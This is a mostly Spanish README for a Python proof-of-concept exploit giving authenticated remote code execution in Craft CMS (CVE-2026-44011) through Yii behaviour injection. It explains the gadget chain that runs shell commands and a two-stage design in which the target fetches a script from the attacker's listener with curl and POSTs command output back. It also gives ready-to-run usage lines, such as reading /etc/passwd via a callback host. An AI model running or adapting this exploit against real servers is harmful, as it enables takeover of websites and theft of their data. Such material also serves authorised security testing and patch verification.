Prueba de concepto en Python para CVE-2026-44011, un RCE autenticado en Craft CMS mediante inyección de comportamiento de Yii, con captura de salida de comandos en dos etapas.
RCE autenticado en Craft CMS mediante inyección de comportamiento de Yii.
Afectados: 4.0.0–4.17.11, 5.0.0–5.9.17
Corregido en: 4.17.12, 5.9.18
Aviso: GHSA-qrgm-p9w5-rrfw
El endpoint /admin/actions/element-search/search acepta un parámetro condition que se pasa directamente a ElementCondition::createCondition() sin que se llame primero a Component::cleanseConfig(). Esto significa que las claves especiales de construcción de objetos de Yii — __class, as <name> (adjuntar comportamiento), on <event> (registrar manejador) — surten efecto cuando el objeto FieldLayout se construye a partir de los datos de la petición.
El exploit adjunta AttributeTypecastBehavior configurado para llamar a Psy\Readline\Hoa\ConsoleProcessus::execute() (un interno de PSY/Yii que ejecuta comandos de shell) como su callable de conversión de tipo. El comportamiento se dispara en el evento beforeSave, que Craft activa durante la misma petición.
Cualquier cuenta — incluso un editor con privilegios bajos — puede hacer esto. No se necesitan derechos de administrador.
En lugar de una reverse shell ciega, utiliza una captura de salida en dos etapas:
curl que obtiene un script de shell desde un listener HTTP local que tú controlasObtienes la salida del comando directamente en la terminal, sin necesidad de un listener nc.
requests (pip install requests)# Basic — run id on the target
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
El host/puerto de callback es donde el objetivo envía la salida de vuelta hacia ti mediante POST. Por defecto, el host se infiere a partir de tu ruta hacia el objetivo y el puerto lo asigna el sistema operativo. Si el objetivo está detrás de un NAT o VPN, necesitarás --callback-host apuntando a tu IP accesible.
-b / --base-url Target origin (required)
-P / --cp-path Control panel path (default: /admin)
-u / --username Login name or email (required)
-p / --password Password (required)
-c / --command Shell command to execute (required)
-s / --site-id Craft site ID (default: 1)
-e / --element-type Element type for the condition (default: craft\elements\Category)
-t / --timeout Request timeout in seconds (default: 15)
-H / --callback-host Your reachable address for output callbacks
--listen-port Port for output listener (default: OS picks one)
--no-verify Skip TLS cert verification
-F / --force Skip version range check
Solo para pruebas de seguridad autorizadas e investigación.